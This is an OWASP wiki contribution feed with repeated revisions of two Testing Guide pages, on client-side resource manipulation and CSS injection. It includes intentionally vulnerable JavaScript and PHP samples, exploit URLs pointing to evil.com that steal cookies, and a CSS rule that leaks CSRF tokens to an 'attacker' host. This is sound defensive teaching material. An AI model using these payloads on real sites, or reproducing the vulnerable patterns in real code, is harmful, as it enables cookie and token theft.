OWASP - User contributions [en]

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

2013-12-16T17:28:32Z

Mauro Gentile:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). <br />
Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.

== Description of the Issue ==
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. <br /><br />

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. <br />
This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

<pre>
<script>
var d=document.createElement("script");
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URL:
www.victim.com/#http://evil.com/js.js
Where js.js contains:

<pre>
alert(document.cookie)
</pre>

Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. <br />
Refer to the following vulnerable code:

<pre>
<b id="p"></b>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
return xhr;
}

var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>
</pre>

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.

Exploit URL: www.victim.com/#http://evil.com/html.html

<pre>
http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
</pre>

== Black Box testing and example ==
Blackbox testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

== Gray Box testing and example ==
'''Testing for Client Side Resource Manipulation vulnerabilities:'''<br>
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. <br />
Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues.
The following table shows the possible injection points (sink) that should be checked:

{| class="wikitable"
|-
! scope="col"| Resource Type
! scope="col"| Tag/Method
! scope="col"| Sink
|-
| Frame
| iframe
| src
|-
| Link
| a
| href
|-
| AJAX Request
| xhr.open(method, <i>[url]</i>, true);
| URL
|-
| CSS
| link
| href
|-
| Image
| img
| src
|-
| Object
| object
| data
|-
| Script
| script
| src
|}

The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. <br />
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html

'''Whitepapers'''

* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources
* Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - http://kotowicz.net/absolute/

'''Tools'''

* DOMinator - https://dominator.mindedsecurity.com/

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

2013-12-16T16:54:40Z

Mauro Gentile:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). <br />
Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.

== Description of the Issue ==
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects. <br /><br />

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. <br />
This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

<pre>
<script>
var d=document.createElement("script");
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URL:
www.victim.com/#http://evil.com/js.js
Where js.js contains:

<pre>
alert(document.cookie)
</pre>

Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site. <br />
Refer to the following vulnerable code:

<pre>
<b id="p"></b>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
return xhr;
}

var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>
</pre>

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.

Exploit URL: www.victim.com/#http://evil.com/html.html

<pre>
http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
</pre>

== Black Box testing and example ==
Blackbox testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

== Gray Box testing and example ==
'''Testing for Client Side Resource Manipulation vulnerabilities:'''<br>
To manually check for this type of vulnerability we have to identify if the application uses inputs, without correctly validating them, that are under the control of the user, to specify the url of some resources. <br />
There are a lot of resources that could be included into an application (for example images, video, object, css, frames etc.) and all of these should be checked since all of theme should be avoided. <br />
The following table shows the possible injection points (sink) that should be checked:

{| class="wikitable"
|-
! scope="col"| Resource Type
! scope="col"| Tag/Method
! scope="col"| Sink
|-
| Frame
| iframe
| src
|-
| Link
| a
| href
|-
| AJAX Request
| xhr.open(method, <i>[url]</i>, true);
| URL
|-
| CSS
| link
| href
|-
| Image
| img
| src
|-
| Object
| object
| data
|-
| Script
| script
| src
|}

The most interesting are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerability or controlling the handler of an Ajax request. <br />
When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html

'''Whitepapers'''

* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources
* Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - http://kotowicz.net/absolute/

'''Tools'''

* DOMinator - https://dominator.mindedsecurity.com/

Testing for CSS Injection (OTG-CLIENT-005)

2013-12-16T16:35:00Z

Mauro Gentile:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

== Description of the Issue ==
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. <br />
Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). <br />
This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

<pre>
<a id="a1">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
}
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URLs: <br />
<ul>
<li>www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])</li>
<li>www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)</li>
</ul>

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

<pre>
<style>
p {
color: <?php echo $_GET['color']; ?>;
text-align: center;
}
</style>
</pre>

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

<pre>
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?a);
}
</style>
</pre>

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

== Black Box testing and example ==
We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

== Gray Box testing and example ==
'''Testing for CSS Injection vulnerabilities:'''<br>
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. <br />
Here follows a basic example:

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").attr("style","color: " + location.hash.slice(1));
});
</script>
</pre>

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. <br />
We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. <br />
In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. <br />

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").css("color",location.hash.slice(1));
});
</script>
</pre>

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText

'''Presentations'''<br>
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

'''Proof of Concepts'''<br>
* Password "cracker" via CSS and HTML5 - http://html5sec.org/invalid/?length=25
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/

Testing for CSS Injection (OTG-CLIENT-005)

2013-12-16T16:32:04Z

Mauro Gentile:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

== Description of the Issue ==
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. <br />
Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). <br />
This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

<pre>
<a id="a1">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
}
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URLs: <br />
<ul>
<li>www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])</li>
<li>www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)</li>
</ul>

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

<pre>
<style>
p {
color: <?php echo $_GET['color']; ?>;
text-align: center;
}
</style>
</pre>

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows; in particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

<pre>
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?^a);
}
</style>
</pre>

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

== Black Box testing and example ==
We are referring to client-side testing, therefore blackbox testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

== Gray Box testing and example ==
'''Testing for CSS Injection vulnerabilities:'''<br>
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. <br />
Here follows a basic example:

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").attr("style","color: " + location.hash.slice(1));
});
</script>
</pre>

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. <br />
We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. <br />
In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. <br />

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").css("color",location.hash.slice(1));
});
</script>
</pre>

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText

'''Presentations'''<br>
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

'''Proof of Concepts'''<br>
* Password "cracker" via CSS and HTML5 - http://html5sec.org/invalid/?length=25
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/